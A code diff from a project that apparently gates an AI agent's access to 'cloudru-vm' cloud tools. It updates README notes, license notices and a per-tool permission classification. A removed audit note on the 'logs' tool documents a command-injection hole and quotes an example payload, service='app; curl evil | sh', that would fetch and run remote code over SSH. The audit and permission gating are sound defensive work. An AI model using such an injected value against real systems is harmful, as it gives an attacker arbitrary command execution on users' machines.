  6. **The dialect codename gate is armed** — emptying `forbiddenCodenames` (the positive
96
111
  case-insensitive, word-boundary net under the 8-token denylist) goes RED; the denylist
97
112
  alone let the bare codename survive 5× in the real-corpus compile (MEASURED). The gate
@@ -109,23 +124,17 @@ and requires the suite to go RED — 13/13 PROVEN (MEASURED — gate run 2026-08
109
124
  either scrub goes RED (`dialect-binary-path-leak-scrubbed`,
110
125
  `dialect-binary-invocation-leak-scrubbed`).
111
126
 
112
- ## Post-grant publish checklist (executed 2026-08-12)
127
+ ## Platform package status
113
128
 
114
- 1. ✅ Grant recorded (ADR-001 AM-2, exit 2): LICENSE Part 2 placeholder replaced with the
115
- owner-attested grant record + `Grant-Confirmation:` link, `"license": "MIT"` (owner
116
- code only), `private` removed, `licenseHold` trigger deliberately KEPT armed.
117
- Open owner follow-up: archive the author's written confirmation in the grant record.
118
- 2. ✅ `dz guard check --op publish` passes (the licence-hold rule verifies all of it).
119
- 3. ⏳ NOT YET: the platform package `@dzhechkov/cloudru-vm-linux-x64` (the binary-carrying
120
- channel) still requires the ADR-002 trusted-CI build (`-trimpath`, sha256 must equal
121
- `cloudruHub.binaryHashes['linux-x64']`) + the go-licenses reconciliation in
122
- THIRD_PARTY_NOTICES before ITS first publication. Until then the engine binary is
123
- supplied via `$CLOUDRU_VM_BIN` or `~/.cloudru-hub/config.json` (see *Local testing*).
124
- 4. ✅ Published via the repo's standard release flow.
129
+ The separate `@dzhechkov/cloudru-vm-linux-x64@0.2.6` package is installed
130
+ automatically on Linux/x64 unless optional dependencies are disabled. Its static
131
+ build reproduces the pinned SHA-256 and bundles the license and NOTICE files
132
+ of linked Go modules. `CLOUDRU_VM_BIN` and `~/.cloudru-hub/config.json` remain
133
+ available for an explicitly supplied matching binary (see *Local testing*).
125
134
 
126
135
  ## Tests
127
136
 
128
- `npm test` — 70 tests, 70 passing (MEASURED — `node --test 'test/*.test.mjs'`, 2026-08-12;
129
- node:test, zero deps). Suite includes the tarball-content gate,
137
+ `npm test` — 107 tests, 107 passing (MEASURED — `node --test 'test/*.test.mjs'`, 2026-10-20;
138
+ node:test with `yaml` as the sole runtime dependency). Suite includes the tarball-content gate,
130
139
  the post-grant licence gates, the brake acid tests, installer tiering, and dialect
131
140
  compilation.
@@ -3,10 +3,11 @@
3
3
  This npm package itself contains no third-party code (its launcher, adapters, installer
4
4
  and tests are original work — see LICENSE Part 1, MIT).
5
5
 
6
- This file exists because of ADR-001 point 4: the `cloudru-vm` engine binary that the
7
- launcher RESOLVES AT RUNTIME (and that a future `@dzhechkov/cloudru-vm-linux-x64`
8
- platform package would carry, post-grant) is a statically linked Go executable that
9
- embeds the following third-party modules (source of record: `engine/go.mod` in the
6
+ This file provides background for the `cloudru-vm` engine binary that the launcher
7
+ RESOLVES AT RUNTIME. The separate Linux/x64 package carries its own generated inventory
8
+ and full license/NOTICE texts for modules linked into the exact packed binary. The
9
+ current Linux/x64 binary is built with `CGO_ENABLED=0`. The historical table below
10
+ comes from `engine/go.mod` in the
10
11
  pinned baseline `hermes-engine-src-20260718.tgz`, sha256
11
12
  `007e7cbe851d3ecd78f457f81ae3679904b2fd4dac660a0e349dabcde61bbe5c` — see
12
13
  `features/hermes-claude-adaptation/evidence/ENGINE-BASELINE.json`).
File without changes
@@ -1,11 +1,11 @@
1
1
  {
2
- "$comment": "Golden classification of every cloudru-vm engine tool -> permission action. METHOD (corrected 2026-08-10): permission=allow requires a BEHAVIOUR audit of the tool's engine handler (read the handle* in engine/internal/mcp at pinned baseline engineSha256) proving it passes BOTH hazard axes. AXIS 1 (read-only): genuinely read-only — no persistent state write (except a LOCAL plan file, noted per-entry), no downstream s.callTool, no job advancement, no secret material returned. AXIS 2 (SHELL-REACH, added AM-2 2026-08-10, cross-model QE HIGH): the handler does NOT pass any user-controlled argument into a shell/exec/SSH command (Deployer.Exec, session.CombinedOutput, a string-concatenated `docker …/kubectl …/compose …` command, or exec.Command). A tool that reaches a shell with a user arg is `ask` at MINIMUM — the brake can only set the permission, it CANNOT escape the arg (that is the engine's bug, not something the classifier can fix). The former shape heuristic ('no confirmed prop in schema => read-only') was FALSE-SAFE: stack_status had no confirmed prop yet advances jobs and invokes paid create tools (AXIS 1); `logs` was `allow` yet concatenates its user `service` arg RAW into a remote `docker compose logs <service>` over SSH — a command-injection/RCE path (AXIS 2, engine/logs.go:61 → ssh.go:117). Schema shape (confirmed prop) remains sufficient evidence for ask, never for allow. ENGINE INJECTION FLAGGED to the author (licence-blocked, NOT fixed here — see ADR-004 AM-2): the engine must shell-escape opts.Service and audit every `cmd +=` concatenation. Re-audit of ALL current allow tools against AXIS 2 found `logs` the ONLY shell-reaching allow tool; every other shell site (vm_exec, deploy, deploy_apply/captainkeys, k8s_kubectl/k8s_apply/k8s_helm) is already ask, and k8s_kubectl is additionally veto-hooked. Reclassifying a tool must show up in this diff (ADR-010 golden-snapshot discipline). A tool present in a live tools/list but absent here MUST fail the drift test — deny-by-default.",
3
- "engineSha256": "59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124",
2
+ "$comment": "Golden classification of every cloudru-vm engine tool. allow requires a BEHAVIOUR audit of the handler at the pinned engine SHA proving both axes: (1) observational with no cloud mutation, job advancement or secret return (a local plan write is disclosed), and (2) no user-controlled argument reaching shell/exec/SSH. Shell-reaching tools remain ask even when arguments are quoted. Schema shape alone never proves allow. The old baseline had two hazards: stack_status advanced planned jobs into paid actions and logs inserted an unescaped service into a shell command. In the pinned engine, stack_status reads persisted state only; stack_apply explicitly advances jobs, and logs shell-quotes service. The specific regression tests are in go/cloudru-vm/internal/mcp/stack_status_test.go and internal/engine/logs_test.go. Any unknown live tool fails drift checks; deny by default.",
3
+ "engineSha256": "4463b09323c9dfe0c32d618d335734a947e7fab0a75d07a7bea089b97a97c9b6",
4
4
  "toolCount": 144,
5
5
  "counts": {
6
- "ask": 65,
6
+ "ask": 64,
7
7
  "deny": 2,
8
- "allow": 77
8
+ "allow": 78
9
9
  },
10
10
  "tools": {
11
11
  "deploy": {
@@ -46,7 +46,7 @@
46
46
  "logs": {
47
47
  "effect": "shell-reach",
48
48
  "permission": "ask",
49
- "why": "RECLASSIFIED allow→ask 2026-08-10 (AM-2, shell-reach hazard axis, cross-model QE HIGH): NOT read-only in the safe sense. handleLogs (tools.go:1758) passes the user-controlled `service` arg into engine.Logs, which CONCATENATES it RAW/unescaped into a remote shell command — `cmd += \" \" + opts.Service` (engine/logs.go:61) → e.Deployer.Exec (logs.go:64) → SSH session.CombinedOutput (internal/deploy/ssh.go:117). So service=\"app; curl evil | sh\" executes arbitrary commands on the user's VM: a command-injection/RCE path behind a silent allow, defeating the ADR-004 brake for an autonomous agent with cloud creds. The permission layer can only PROMPT; it cannot escape the arg (that is the engine's bug — flagged ADR-004 AM-2, licence-blocked). The prior audit's claim of a \"FIXED docker compose logs\" was WRONG: the command is NOT fixed."
49
+ "why": "shell-reach: handleLogs (tools.go:1758) passes user-controlled service to engine.Logs, which now shell-quotes it (engine/logs.go:61; regression internal/engine/logs_test.go). Still ask because it invokes remote SSH/compose and may return sensitive logs."
50
50
  },
51
51
  "destroy": {
52
52
  "effect": "mutating",
@@ -711,7 +711,7 @@
711
711
  "stack_plan": {
712
712
  "effect": "read-only",
713
713
  "permission": "allow",
714
- "why": "behaviour-audited: creates NO cloud resource — handleStackPlan (tools_stack.go:297) plans and persists a LOCAL job file only (job.Save :318); its cloud calls are read-only (ListFlavors tools_stack.go:363, ListBuckets :396). Upstream smell: the saved planned job is later ADVANCED by stack_status — which is why stack_status is ask (see its entry)."
714
+ "why": "behaviour-audited: handleStackPlan (tools_stack.go:297) makes read-only lookups and persists a LOCAL planned job file only (job.Save); only stack_apply advances it."
715
715
  },
716
716
  "stack_apply": {
717
717
  "effect": "mutating",
@@ -719,9 +719,9 @@
719
719
  "why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
720
720
  },
721
721
  "stack_status": {
722
- "effect": "mutating",
723
- "permission": "ask",
724
- "why": "RECLASSIFIED allow→ask 2026-08-10 (cross-model QE HIGH, false-safe): handleStackStatus (tools_stack.go:451) calls s.advance() on planned/running jobs (:479-484); advance starts pending steps via s.callTool (:220) — i.e. it INVOKES the paid create tools (provision, pg_create, k8s_create, lb_create, …) with no confirmation. LIVE-REPRODUCED against baseline 59f83fc0: one stack_status call moved a planned job planned→running and attempted provision (stopped only at AUTH_REQUIRED). The fully-allow chain stack_plan→stack_status would provision a billable stack with ZERO prompts. Upstream design smell (engine, licence-blocked — not fixed here): a status poll on a NEVER-APPLIED job should not start spending."
722
+ "effect": "read-only",
723
+ "permission": "allow",
724
+ "why": "behaviour-audited read-only: handleStackStatus (tools_stack.go:451) loads and returns the persisted job; no advance, callTool, state write or cloud mutation. stack_apply is the explicit advancing action. Regression: internal/mcp/stack_status_test.go."
725
725
  },
726
726
  "stack_destroy": {
727
727
  "effect": "mutating",
@@ -1,17 +1,17 @@
1
1
  {
2
- "capturedAt": "2026-08-09",
3
- "engineVersion": "cloudru-vm 0.2.3-20260718",
4
- "engineSha256": "59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124",
5
- "method": "echo tools/list JSON-RPC | cloudru-vm mcp",
2
+ "capturedAt": "2026-10-20",
3
+ "engineVersion": "cloudru-vm 0.2.6-20261020",
4
+ "engineSha256": "4463b09323c9dfe0c32d618d335734a947e7fab0a75d07a7bea089b97a97c9b6",
5
+ "method": "JSON-RPC tools/list via src/probe-child.js against locally built private engine",
6
6
  "toolCount": 144,
7
7
  "tools": [
8
8
  {
9
9
  "name": "deploy",
10
- "gated": false
10
+ "gated": true
11
11
  },
12
12
  {
13
13
  "name": "provision",
14
- "gated": false
14
+ "gated": true
15
15
  },
16
16
  {
17
17
  "name": "status",